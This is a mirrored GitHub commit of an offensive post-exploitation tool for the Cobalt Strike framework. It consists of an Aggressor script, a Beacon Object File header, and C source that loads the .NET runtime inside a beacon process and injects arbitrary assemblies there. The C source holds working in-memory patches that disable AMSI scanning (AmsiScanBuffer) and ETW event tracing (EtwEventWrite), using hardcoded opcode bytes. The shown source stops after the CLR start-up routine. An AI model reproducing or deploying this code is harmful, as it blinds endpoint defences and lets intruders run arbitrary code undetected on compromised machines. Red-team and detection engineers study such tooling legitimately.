mirror of
https://github.com/xforcered/InlineExecute-Assembly
synced 2026-06-08 18:25:25 +00:00
Add files via upload
This commit is contained in:
anthemtotheego
@@ -0,0 +1,373 @@
|
||||
#Register command
|
||||
beacon_command_register(
|
||||
"inlineExecute-Assembly",
|
||||
"Load CLR if not already loaded and inject .NET assembly into current beacon process. Avoids creating a new sacraficial process via fork and run technique",
|
||||
"Synopsis: inlineExecute-Assembly --dotnetassembly /path/to/Assembly.exe --assemblyargs My Args To Pass --amsi --etw");
|
||||
|
||||
global('$etw $amsi $appDomain $version');
|
||||
|
||||
#Global vars don't change
|
||||
$etw = 0;
|
||||
$revertETW = 0;
|
||||
$amsi = 0;
|
||||
$mailSlot = 0;
|
||||
$entryPoint = 1;
|
||||
|
||||
#Default values set here - if you don't want to use flags to change -> change here
|
||||
$appDomain = "totesLegit";
|
||||
$pipeName = "totesLegit";
|
||||
$mailSlotName = "totesLegit";
|
||||
|
||||
|
||||
alias inlineExecute-Assembly {
|
||||
|
||||
#-------------------------------------- Extract/Parse Arguments --------------------------------------#
|
||||
$data = substr($0, 23);
|
||||
@args = split(' ', $data);
|
||||
|
||||
local('$_amsi $_etw $_revertETW $_appDomain $_dotNetAssembly $_version $_assemblyargs $_assemblyWithArgs $_entryPoint $_mailSlot $_mailSlotName $_mailSlotNameArgs $_pipeName $_pipeNameArgs');
|
||||
|
||||
$_amsi = "";
|
||||
$_etw = "";
|
||||
$_revertETW = "";
|
||||
$_mailSlot = "";
|
||||
$_mailSlotName = "";
|
||||
$_mailSlotNameArgs = "";
|
||||
$_pipeName = "";
|
||||
$_pipeNameArgs = "";
|
||||
$_entryPoint = "";
|
||||
$_appDomain = "";
|
||||
$_appDomainArgs = "";
|
||||
$_dotNetAssembly = "";
|
||||
$_dotNetAssemblyArgs = "";
|
||||
$_assemblyWithArgs = "";
|
||||
|
||||
@CliOptions = @("--amsi", "--etw", "--revertetw", "--dotnetassembly", "--assemblyargs", "--appdomain", "--pipe", "--mailslot", "--main");
|
||||
|
||||
for ($i = 0; $i < size(@args); $i++){
|
||||
|
||||
if (@args[$i] iswm "--etw"){
|
||||
$_etw = 1;
|
||||
}else if (@args[$i] iswm "--amsi"){
|
||||
$_amsi = 1;
|
||||
}else if (@args[$i] iswm "--revertetw"){
|
||||
$_revertETW = 1;
|
||||
}else if (@args[$i] iswm "--main"){
|
||||
$_entryPoint = int(0);
|
||||
}else if (@args[$i] iswm "--dotnetassembly"){
|
||||
$i = $i + 1;
|
||||
$_dotNetAssembly = @args[$i];
|
||||
}else if (@args[$i] iswm "--assemblyargs"){
|
||||
$i = $i + 1;
|
||||
$count = 0;
|
||||
for ($j = $i; $j < size(@args); $j++){
|
||||
if(@args[$j] in @CliOptions){
|
||||
break;
|
||||
}else{
|
||||
@_dotNetAssemblyArgs[$count] = @args[$j];
|
||||
|
||||
#Taking care of arguments embedded within single/double quotes and consider it as one single argument (disregarding spaces).
|
||||
if(('"' isin @_dotNetAssemblyArgs[$count] || "'" isin @_dotNetAssemblyArgs[$count])){
|
||||
|
||||
$k = 0;
|
||||
$j = $j + 1;
|
||||
|
||||
for($k = $j; $k < size(@args); $k++){
|
||||
if(lindexOf(@_dotNetAssemblyArgs[$count], '"') == (strlen(@_dotNetAssemblyArgs[$count]) - 1) || lindexOf(@_dotNetAssemblyArgs[$count], "'") == (strlen(@_dotNetAssemblyArgs[$count]) - 1)){
|
||||
$k = $k - 1;
|
||||
break;
|
||||
}
|
||||
if('"' isin @args[$k] || "'" isin @args[$k]){
|
||||
@_dotNetAssemblyArgs[$count] = @_dotNetAssemblyArgs[$count]." ".@args[$k];
|
||||
break;
|
||||
}else{
|
||||
@_dotNetAssemblyArgs[$count] = @_dotNetAssemblyArgs[$count]." ".@args[$k];
|
||||
}
|
||||
}
|
||||
|
||||
$j = $k;
|
||||
$i = $k;
|
||||
}
|
||||
|
||||
$count = $count + 1;
|
||||
|
||||
}
|
||||
}
|
||||
}else if (@args[$i] iswm "--appdomain"){
|
||||
$i = $i + 1;
|
||||
$count = 0;
|
||||
for ($j = $i; $j < size(@args); $j++){
|
||||
if(@args[$j] in @CliOptions){
|
||||
break;
|
||||
}else{
|
||||
@_appDomain[$count] = @args[$j];
|
||||
|
||||
#Taking care of arguments embedded within single/double quotes and consider it as one single argument (disregarding spaces).
|
||||
if(('"' isin @_appDomain[$count] || "'" isin @_appDomain[$count])){
|
||||
|
||||
$k = 0;
|
||||
$j = $j + 1;
|
||||
|
||||
for($k = $j; $k < size(@args); $k++){
|
||||
if(lindexOf(@_appDomain[$count], '"') == (strlen(@_appDomain[$count]) - 1) || lindexOf(@_appDomain[$count], "'") == (strlen(@_appDomain[$count]) - 1)){
|
||||
$k = $k - 1;
|
||||
break;
|
||||
}
|
||||
if('"' isin @args[$k] || "'" isin @args[$k]){
|
||||
@_appDomain[$count] = @_appDomain[$count]." ".@args[$k];
|
||||
break;
|
||||
}else{
|
||||
@_appDomain[$count] = @_appDomain[$count]." ".@args[$k];
|
||||
}
|
||||
}
|
||||
|
||||
$j = $k;
|
||||
$i = $k;
|
||||
}
|
||||
|
||||
$count = $count + 1;
|
||||
|
||||
}
|
||||
}
|
||||
}else if (@args[$i] iswm "--mailslot"){
|
||||
$_mailSlot = 1;
|
||||
$i = $i + 1;
|
||||
$count = 0;
|
||||
for ($j = $i; $j < size(@args); $j++){
|
||||
if(@args[$j] in @CliOptions){
|
||||
break;
|
||||
}else{
|
||||
@_mailSlotName[$count] = @args[$j];
|
||||
|
||||
#Taking care of arguments embedded within single/double quotes and consider it as one single argument (disregarding spaces).
|
||||
if(('"' isin @_mailSlotName[$count] || "'" isin @_mailSlotName[$count])){
|
||||
|
||||
$k = 0;
|
||||
$j = $j + 1;
|
||||
|
||||
for($k = $j; $k < size(@args); $k++){
|
||||
if(lindexOf(@_mailSlotName[$count], '"') == (strlen(@_mailSlotName[$count]) - 1) || lindexOf(@_mailSlotName[$count], "'") == (strlen(@_mailSlotName[$count]) - 1)){
|
||||
$k = $k - 1;
|
||||
break;
|
||||
}
|
||||
if('"' isin @args[$k] || "'" isin @args[$k]){
|
||||
@_mailSlotName[$count] = @_mailSlotName[$count]." ".@args[$k];
|
||||
break;
|
||||
}else{
|
||||
@_mailSlotName[$count] = @_mailSlotName[$count]." ".@args[$k];
|
||||
}
|
||||
}
|
||||
|
||||
$j = $k;
|
||||
$i = $k;
|
||||
}
|
||||
|
||||
$count = $count + 1;
|
||||
|
||||
}
|
||||
}
|
||||
}else if (@args[$i] iswm "--pipe"){
|
||||
$i = $i + 1;
|
||||
$count = 0;
|
||||
for ($j = $i; $j < size(@args); $j++){
|
||||
if(@args[$j] in @CliOptions){
|
||||
break;
|
||||
}else{
|
||||
@_pipeName[$count] = @args[$j];
|
||||
|
||||
#Taking care of arguments embedded within single/double quotes and consider it as one single argument (disregarding spaces).
|
||||
if(('"' isin @_pipeName[$count] || "'" isin @_pipeName[$count])){
|
||||
|
||||
$k = 0;
|
||||
$j = $j + 1;
|
||||
|
||||
for($k = $j; $k < size(@args); $k++){
|
||||
if(lindexOf(@_pipeName[$count], '"') == (strlen(@_pipeName[$count]) - 1) || lindexOf(@_pipeName[$count], "'") == (strlen(@_pipeName[$count]) - 1)){
|
||||
$k = $k - 1;
|
||||
break;
|
||||
}
|
||||
if('"' isin @args[$k] || "'" isin @args[$k]){
|
||||
@_pipeName[$count] = @_pipeName[$count]." ".@args[$k];
|
||||
break;
|
||||
}else{
|
||||
@_pipeName[$count] = @_pipeName[$count]." ".@args[$k];
|
||||
}
|
||||
}
|
||||
|
||||
$j = $k;
|
||||
$i = $k;
|
||||
}
|
||||
|
||||
$count = $count + 1;
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
#------------------------------------------------------------------------------------------------------#
|
||||
|
||||
#-------------------------------------- Appending .NET assembly arguments --------------------------------------#
|
||||
|
||||
#Appending .NET assembly arguments to $_assemblyWithArgs var (separated by " ")
|
||||
for ($i = 0; $i < size(@_dotNetAssemblyArgs); $i++){
|
||||
if (@_dotNetAssemblyArgs[$i] ne "") {
|
||||
if ($_assemblyWithArgs ne "")
|
||||
{
|
||||
$_assemblyWithArgs = $_assemblyWithArgs." ".@_dotNetAssemblyArgs[$i];
|
||||
}
|
||||
else
|
||||
{
|
||||
$_assemblyWithArgs = @_dotNetAssemblyArgs[$i];
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
#---------------------------------------------------------------------------------------------------------------#
|
||||
|
||||
#-------------------------------------- Appending appDomain arguments --------------------------------------#
|
||||
|
||||
#Appending appDomain arguments to $_appDomainArgs var (separated by " ")
|
||||
for ($i = 0; $i < size(@_appDomain); $i++){
|
||||
if (@_appDomain[$i] ne "") {
|
||||
if ($_appDomainArgs ne "")
|
||||
{
|
||||
$_appDomainArgs = $_appDomainArgs." ".@_appDomain[$i];
|
||||
}
|
||||
else
|
||||
{
|
||||
$_appDomainArgs = @_appDomain[$i];
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
#-------------------------------------- Appending mailSlotName arguments --------------------------------------#
|
||||
|
||||
#Appending mailSlot arguments to $_mailSlotNameArgs var (separated by " ")
|
||||
for ($i = 0; $i < size(@_mailSlotName); $i++){
|
||||
if (@_mailSlotName[$i] ne "") {
|
||||
if ($_mailSlotNameArgs ne "")
|
||||
{
|
||||
$_mailSlotNameArgs = $_mailSlotNameArgs." ".@_mailSlotName[$i];
|
||||
}
|
||||
else
|
||||
{
|
||||
$_mailSlotNameArgs = @_mailSlotName[$i];
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
#-------------------------------------- Appending pipeName arguments --------------------------------------#
|
||||
|
||||
#Appending pipeName arguments to $_pipeNameArgs var (separated by " ")
|
||||
for ($i = 0; $i < size(@_pipeName); $i++){
|
||||
if (@_pipeName[$i] ne "") {
|
||||
if ($_pipeNameArgs ne "")
|
||||
{
|
||||
$_pipeNameArgs = $_pipeNameArgs." ".@_pipeName[$i];
|
||||
}
|
||||
else
|
||||
{
|
||||
$_pipeNameArgs = @_pipeName[$i];
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
if ($_appDomainArgs eq "") {
|
||||
$_appDomainArgs = $appDomain;
|
||||
}
|
||||
if ($_mailSlotNameArgs eq "") {
|
||||
$_mailSlotNameArgs = $mailSlotName;
|
||||
}
|
||||
if ($_pipeNameArgs eq "") {
|
||||
$_pipeNameArgs = $pipeName;
|
||||
}
|
||||
if ($_amsi == "") {
|
||||
$_amsi = $amsi;
|
||||
}
|
||||
if ($_etw == "") {
|
||||
$_etw = $etw;
|
||||
}
|
||||
if ($_revertETW == "") {
|
||||
$_revertETW = $revertETW;
|
||||
}
|
||||
if ($_entryPoint ne int(0)) {
|
||||
$_entryPoint = $entryPoint;
|
||||
}
|
||||
if ($_mailSlot == "") {
|
||||
$_mailSlot = $mailSlot;
|
||||
}
|
||||
|
||||
#---------------------------------------------------------------------------------------------------------------#
|
||||
|
||||
#-------------------------------------- Load BOF --------------------------------------#
|
||||
|
||||
# figure out the arch of this session
|
||||
$barch = barch($1);
|
||||
|
||||
# read in the right BOF file
|
||||
$handle = openf(script_resource("inlineExecute-Assembly $+ $barch $+ .o"));
|
||||
$bof = readb($handle, -1);
|
||||
closef($handle);
|
||||
if(strlen($bof) < 1)
|
||||
{
|
||||
berror($1,"Error: BOF bin could not be found. Please ensure the compiled BOF (.o file) exists in the same folder as this aggressor script");
|
||||
return;
|
||||
}
|
||||
|
||||
#-----------------------------------------------------------------------------------------------#
|
||||
|
||||
#-------------------------------------- Error Handling --------------------------------------#
|
||||
|
||||
$assemblyPath = $_dotNetAssembly;
|
||||
$bid = $1;
|
||||
if ($assemblyPath eq "") {
|
||||
berror($bid, "Run 'help inlineExecute-Assembly'\n");
|
||||
return;
|
||||
}
|
||||
|
||||
if (!-exists $assemblyPath || !-isFile $assemblyPath){
|
||||
berror($bid, "File ".$assemblyPath." doesn't exist\n");
|
||||
return;
|
||||
}
|
||||
|
||||
#-----------------------------------------------------------------------------------------------#
|
||||
|
||||
#-------------------------------------- Convert .NET assembly to bytes --------------------------------------#
|
||||
|
||||
#Reading assembly bytes and get the size in bytes
|
||||
$fileHandle = openf($_dotNetAssembly);
|
||||
$assemblyLength = lof($_dotNetAssembly);
|
||||
$assemblyBytes = readb($fileHandle, -1);
|
||||
closef($fileHandle);
|
||||
|
||||
#---------------------------------------------------------------------------------------------------------------------#
|
||||
|
||||
#-------------------------------------- Package and ship it --------------------------------------#
|
||||
|
||||
# pack our arguments
|
||||
$bofArgs = bof_pack($1, "ziiiiizzzib", $_appDomainArgs, $_amsi, $_etw, $_revertETW, $_mailSlot, $_entryPoint, $_mailSlotNameArgs, $_pipeNameArgs, $_assemblyWithArgs, $assemblyLength, $assemblyBytes);
|
||||
|
||||
# announce what we're doing
|
||||
btask($1, "Running inlineExecute-Assembly by (@anthemtotheego)");
|
||||
|
||||
# execute it.
|
||||
beacon_inline_execute($1, $bof, "go", $bofArgs);
|
||||
|
||||
clear(@_assemblyWithArgs);
|
||||
clear(@_dotNetAssemblyArgs);
|
||||
clear(@_appDomainArgs);
|
||||
clear(@_appDomain);
|
||||
clear(@_mailSlotNameArgs);
|
||||
clear(@_mailSlotName);
|
||||
clear(@_pipeNameArgs);
|
||||
clear(@_pipeName);
|
||||
|
||||
#------------------------------------------------------------------------------------------------------------------------------#
|
||||
|
||||
}
|
||||
|
||||
|
||||
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,61 @@
|
||||
/*
|
||||
* Beacon Object Files (BOF)
|
||||
* -------------------------
|
||||
* A Beacon Object File is a light-weight post exploitation tool that runs
|
||||
* with Beacon's inline-execute command.
|
||||
*
|
||||
* Cobalt Strike 4.1.
|
||||
*/
|
||||
|
||||
/* data API */
|
||||
typedef struct {
|
||||
char * original; /* the original buffer [so we can free it] */
|
||||
char * buffer; /* current pointer into our buffer */
|
||||
int length; /* remaining length of data */
|
||||
int size; /* total size of this buffer */
|
||||
} datap;
|
||||
|
||||
DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size);
|
||||
DECLSPEC_IMPORT int BeaconDataInt(datap * parser);
|
||||
DECLSPEC_IMPORT short BeaconDataShort(datap * parser);
|
||||
DECLSPEC_IMPORT int BeaconDataLength(datap * parser);
|
||||
DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size);
|
||||
|
||||
/* format API */
|
||||
typedef struct {
|
||||
char * original; /* the original buffer [so we can free it] */
|
||||
char * buffer; /* current pointer into our buffer */
|
||||
int length; /* remaining length of data */
|
||||
int size; /* total size of this buffer */
|
||||
} formatp;
|
||||
|
||||
DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz);
|
||||
DECLSPEC_IMPORT void BeaconFormatReset(formatp * format);
|
||||
DECLSPEC_IMPORT void BeaconFormatFree(formatp * format);
|
||||
DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len);
|
||||
DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...);
|
||||
DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size);
|
||||
DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value);
|
||||
|
||||
/* Output Functions */
|
||||
#define CALLBACK_OUTPUT 0x0
|
||||
#define CALLBACK_OUTPUT_OEM 0x1e
|
||||
#define CALLBACK_ERROR 0x0d
|
||||
#define CALLBACK_OUTPUT_UTF8 0x20
|
||||
|
||||
DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...);
|
||||
DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len);
|
||||
|
||||
/* Token Functions */
|
||||
DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token);
|
||||
DECLSPEC_IMPORT void BeaconRevertToken();
|
||||
DECLSPEC_IMPORT BOOL BeaconIsAdmin();
|
||||
|
||||
/* Spawn+Inject Functions */
|
||||
DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
|
||||
DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
|
||||
DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
|
||||
DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
|
||||
|
||||
/* Utility Functions */
|
||||
DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max);
|
||||
@@ -0,0 +1,652 @@
|
||||
#include <windows.h>
|
||||
#include <io.h>
|
||||
#include <stdio.h>
|
||||
#include <fcntl.h>
|
||||
#include <evntprov.h>
|
||||
|
||||
#include "beacon.h"
|
||||
#include "inlineExecute-Assembly.h"
|
||||
|
||||
/*Make MailSlot*/
|
||||
BOOL WINAPI MakeSlot(LPCSTR lpszSlotName, HANDLE* mailHandle)
|
||||
{
|
||||
*mailHandle = KERNEL32$CreateMailslotA(lpszSlotName,
|
||||
0, //No maximum message size
|
||||
MAILSLOT_WAIT_FOREVER, //No time-out for operations
|
||||
(LPSECURITY_ATTRIBUTES)NULL); //Default security
|
||||
|
||||
if (*mailHandle == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
else
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
/*Read Mailslot*/
|
||||
BOOL ReadSlot(char* output, HANDLE* mailHandle)
|
||||
{
|
||||
DWORD cbMessage = 0;
|
||||
DWORD cMessage = 0;
|
||||
DWORD cbRead = 0;
|
||||
BOOL fResult;
|
||||
LPSTR lpszBuffer = NULL;
|
||||
size_t size = 65535;
|
||||
char* achID = (char*)intAlloc(size);
|
||||
memset(achID, 0, size);
|
||||
DWORD cAllMessages = 0;
|
||||
HANDLE hEvent;
|
||||
OVERLAPPED ov;
|
||||
|
||||
hEvent = KERNEL32$CreateEventA(NULL, FALSE, FALSE, NULL);
|
||||
if (NULL == hEvent)
|
||||
return FALSE;
|
||||
ov.Offset = 0;
|
||||
ov.OffsetHigh = 0;
|
||||
ov.hEvent = hEvent;
|
||||
|
||||
fResult = KERNEL32$GetMailslotInfo(*mailHandle, //Mailslot handle
|
||||
(LPDWORD)NULL, //No maximum message size
|
||||
&cbMessage, //Size of next message
|
||||
&cMessage, //Number of messages
|
||||
(LPDWORD)NULL); //No read time-out
|
||||
|
||||
if (!fResult)
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (cbMessage == MAILSLOT_NO_MESSAGE)
|
||||
{
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
cAllMessages = cMessage;
|
||||
|
||||
while (cMessage != 0) //Get all messages
|
||||
{
|
||||
//Allocate memory for the message.
|
||||
lpszBuffer = (LPSTR)KERNEL32$GlobalAlloc(GPTR, KERNEL32$lstrlenA((LPSTR)achID) * sizeof(CHAR) + cbMessage);
|
||||
if (NULL == lpszBuffer)
|
||||
return FALSE;
|
||||
lpszBuffer[0] = '\0';
|
||||
|
||||
fResult = KERNEL32$ReadFile(*mailHandle,
|
||||
lpszBuffer,
|
||||
cbMessage,
|
||||
&cbRead,
|
||||
&ov);
|
||||
|
||||
if (!fResult)
|
||||
{
|
||||
KERNEL32$GlobalFree((HGLOBAL)lpszBuffer);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
//Copy mailslot output to returnData buffer
|
||||
MSVCRT$_snprintf(output + MSVCRT$strlen(output), MSVCRT$strlen(lpszBuffer) + 1, "%s", lpszBuffer);
|
||||
|
||||
fResult = KERNEL32$GetMailslotInfo(*mailHandle, //Mailslot handle
|
||||
(LPDWORD)NULL, //No maximum message size
|
||||
&cbMessage, //Size of next message
|
||||
&cMessage, //Number of messages
|
||||
(LPDWORD)NULL); //No read time-out
|
||||
|
||||
if (!fResult)
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
cbMessage = 0;
|
||||
KERNEL32$GlobalFree((HGLOBAL)lpszBuffer);
|
||||
_CloseHandle CloseHandle = (_CloseHandle) GetProcAddress(GetModuleHandleA("kernel32.dll"), "CloseHandle");
|
||||
CloseHandle(hEvent);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
/*Determine if .NET assembly is v4 or v2*/
|
||||
BOOL FindVersion(void * assembly, int length) {
|
||||
char* assembly_c;
|
||||
assembly_c = (char*)assembly;
|
||||
char v4[] = { 0x76,0x34,0x2E,0x30,0x2E,0x33,0x30,0x33,0x31,0x39 };
|
||||
|
||||
for (int i = 0; i < length; i++)
|
||||
{
|
||||
for (int j = 0; j < 10; j++)
|
||||
{
|
||||
if (v4[j] != assembly_c[i + j])
|
||||
{
|
||||
break;
|
||||
}
|
||||
else
|
||||
{
|
||||
if (j == (9))
|
||||
{
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
/*Patch ETW*/
|
||||
BOOL patchETW(BOOL revertETW)
|
||||
{
|
||||
#ifdef _M_AMD64
|
||||
unsigned char etwPatch[] = { 0 };
|
||||
#elif defined(_M_IX86)
|
||||
unsigned char etwPatch[3] = { 0 };
|
||||
#endif
|
||||
SIZE_T uSize = 8;
|
||||
ULONG patchSize = 0;
|
||||
|
||||
if (revertETW != 0) {
|
||||
#ifdef _M_AMD64
|
||||
//revert ETW x64
|
||||
patchSize = 1;
|
||||
MSVCRT$memcpy(etwPatch, (unsigned char[]){ 0x4c }, patchSize);
|
||||
#elif defined(_M_IX86)
|
||||
//revert ETW x86
|
||||
patchSize = 3;
|
||||
MSVCRT$memcpy((char*)etwPatch, "\x8b\xff\x55", patchSize);
|
||||
#endif
|
||||
}
|
||||
else {
|
||||
#ifdef _M_AMD64
|
||||
//Break ETW x64
|
||||
patchSize = 1;
|
||||
MSVCRT$memcpy(etwPatch, (unsigned char[]){ 0xc3 }, patchSize);
|
||||
#elif defined(_M_IX86)
|
||||
//Break ETW x86
|
||||
patchSize = 3;
|
||||
MSVCRT$memcpy((char*)etwPatch, "\xc2\x14\x00", patchSize);
|
||||
#endif
|
||||
}
|
||||
|
||||
//Get pointer to EtwEventWrite
|
||||
void* pAddress = (PVOID) GetProcAddress(GetModuleHandleA("ntdll.dll"), "EtwEventWrite");
|
||||
if(pAddress == NULL)
|
||||
{
|
||||
BeaconPrintf(CALLBACK_ERROR , "Getting pointer to EtwEventWrite failed\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
void* lpBaseAddress = pAddress;
|
||||
ULONG OldProtection, NewProtection;
|
||||
|
||||
//Change memory protection via NTProtectVirtualMemory
|
||||
_NtProtectVirtualMemory NtProtectVirtualMemory = (_NtProtectVirtualMemory) GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtProtectVirtualMemory");
|
||||
NTSTATUS status = NtProtectVirtualMemory(NtCurrentProcess(), (PVOID)&lpBaseAddress, (PULONG)&uSize, PAGE_EXECUTE_READWRITE, &OldProtection);
|
||||
if (status != STATUS_SUCCESS) {
|
||||
BeaconPrintf(CALLBACK_ERROR , "[-] NtProtectVirtualMemory failed %d\n", status);
|
||||
return 0;
|
||||
}
|
||||
|
||||
//Patch ETW via NTWriteVirtualMemory
|
||||
_NtWriteVirtualMemory NtWriteVirtualMemory = (_NtWriteVirtualMemory) GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtWriteVirtualMemory");
|
||||
status = NtWriteVirtualMemory(NtCurrentProcess(), pAddress, (PVOID)etwPatch, sizeof(etwPatch)/sizeof(etwPatch[0]), NULL);
|
||||
if (status != STATUS_SUCCESS) {
|
||||
BeaconPrintf(CALLBACK_ERROR , "[-] NtWriteVirtualMemory failed\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
//Revert back memory protection via NTProtectVirtualMemory
|
||||
status = NtProtectVirtualMemory(NtCurrentProcess(), (PVOID)&lpBaseAddress, (PULONG)&uSize, OldProtection, &NewProtection);
|
||||
if (status != STATUS_SUCCESS) {
|
||||
BeaconPrintf(CALLBACK_ERROR , "[-] NtProtectVirtualMemory2 failed\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
//Successfully patched ETW
|
||||
return 1;
|
||||
|
||||
}
|
||||
|
||||
/*Patch AMSI*/
|
||||
BOOL patchAMSI()
|
||||
{
|
||||
|
||||
#ifdef _M_AMD64
|
||||
unsigned char amsiPatch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };//x64
|
||||
#elif defined(_M_IX86)
|
||||
unsigned char amsiPatch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 };//x86
|
||||
#endif
|
||||
|
||||
HINSTANCE hinst = LoadLibrary("amsi.dll");
|
||||
void* pAddress = (PVOID)GetProcAddress(hinst, "AmsiScanBuffer");
|
||||
if(pAddress == NULL)
|
||||
{
|
||||
BeaconPrintf(CALLBACK_ERROR , "AmsiScanBuffer failed\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
void* lpBaseAddress = pAddress;
|
||||
ULONG OldProtection, NewProtection;
|
||||
SIZE_T uSize = sizeof(amsiPatch);
|
||||
|
||||
//Change memory protection via NTProtectVirtualMemory
|
||||
_NtProtectVirtualMemory NtProtectVirtualMemory = (_NtProtectVirtualMemory) GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtProtectVirtualMemory");
|
||||
NTSTATUS status = NtProtectVirtualMemory(NtCurrentProcess(), (PVOID)&lpBaseAddress, (PULONG)&uSize, PAGE_EXECUTE_READWRITE, &OldProtection);
|
||||
if (status != STATUS_SUCCESS) {
|
||||
BeaconPrintf(CALLBACK_ERROR , "[-] NtProtectVirtualMemory failed %d\n", status);
|
||||
return 0;
|
||||
}
|
||||
|
||||
//Patch AMSI via NTWriteVirtualMemory
|
||||
_NtWriteVirtualMemory NtWriteVirtualMemory = (_NtWriteVirtualMemory) GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtWriteVirtualMemory");
|
||||
status = NtWriteVirtualMemory(NtCurrentProcess(), pAddress, (PVOID)amsiPatch, sizeof(amsiPatch), NULL);
|
||||
if (status != STATUS_SUCCESS) {
|
||||
BeaconPrintf(CALLBACK_ERROR , "[-] NtWriteVirtualMemory failed\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
//Revert back memory protection via NTProtectVirtualMemory
|
||||
status = NtProtectVirtualMemory(NtCurrentProcess(), (PVOID)&lpBaseAddress, (PULONG)&uSize, OldProtection, &NewProtection);
|
||||
if (status != STATUS_SUCCESS) {
|
||||
BeaconPrintf(CALLBACK_ERROR , "[-] NtProtectVirtualMemory2 failed\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
//Successfully patched AMSI
|
||||
return 1;
|
||||
}
|
||||
|
||||
/*Start CLR*/
|
||||
static BOOL StartCLR(LPCWSTR dotNetVersion, ICLRMetaHost * *ppClrMetaHost, ICLRRuntimeInfo * *ppClrRuntimeInfo, ICorRuntimeHost * *ppICorRuntimeHost) {
|
||||
|
||||
//Declare variables
|
||||
HRESULT hr = NULL;
|
||||
|
||||
//Get the CLRMetaHost that tells us about .NET on this machine
|
||||
hr = MSCOREE$CLRCreateInstance(&xCLSID_CLRMetaHost, &xIID_ICLRMetaHost, (LPVOID*)ppClrMetaHost);
|
||||
|
||||
if (hr == S_OK)
|
||||
{
|
||||
//Get the runtime information for the particular version of .NET
|
||||
hr = (*ppClrMetaHost)->lpVtbl->GetRuntime(*ppClrMetaHost, dotNetVersion, &xIID_ICLRRuntimeInfo, (LPVOID*)ppClrRuntimeInfo);
|
||||
if (hr == S_OK)
|
||||
{
|
||||
/*Check if the specified runtime can be loaded into the process. This method will take into account other runtimes that may already be
|
||||
loaded into the process and set fLoadable to TRUE if this runtime can be loaded in an in-process side-by-side fashion.*/
|
||||
BOOL fLoadable;
|
||||
hr = (*ppClrRuntimeInfo)->lpVtbl->IsLoadable(*ppClrRuntimeInfo, &fLoadable);
|
||||
if ((hr == S_OK) && fLoadable)
|
||||
{
|
||||
//Load the CLR into the current process and return a runtime interface pointer. -> CLR changed to ICor which is deprecated but works
|
||||
hr = (*ppClrRuntimeInfo)->lpVtbl->GetInterface(*ppClrRuntimeInfo, &xCLSID_CorRuntimeHost, &xIID_ICorRuntimeHost, (LPVOID*)ppICorRuntimeHost);
|
||||
if (hr == S_OK)
|
||||
{
|
||||
//Start it. This is okay to call even if the CLR is already running
|
||||
(*ppICorRuntimeHost)->lpVtbl->Start(*ppICorRuntimeHost);
|
||||
}
|
||||
else
|
||||
{
|
||||
//If CLR fails to load fail gracefully
|
||||
BeaconPrintf(CALLBACK_ERROR , "[-] Process refusing to get interface of %ls CLR version. Try running an assembly that requires a differnt CLR version.\n", dotNetVersion);
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
//If CLR fails to load fail gracefully
|
||||
BeaconPrintf(CALLBACK_ERROR , "[-] Process refusing to load %ls CLR version. Try running an assembly that requires a differnt CLR version.\n", dotNetVersion);
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
//If CLR fails to load fail gracefully
|
||||
BeaconPrintf(CALLBACK_ERROR , "[-] Process refusing to get runtime of %ls CLR version. Try running an assembly that requires a differnt CLR version.\n", dotNetVersion);
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
//If CLR fails to load fail gracefully
|
||||
BeaconPrintf(CALLBACK_ERROR , "[-] Process refusing to create %ls CLR version. Try running an assembly that requires a differnt CLR version.\n", dotNetVersion);
|
||||
return 0;
|
||||
}
|
||||
|
||||
//CLR loaded successfully
|
||||
return 1;
|
||||
}
|
||||
|
||||
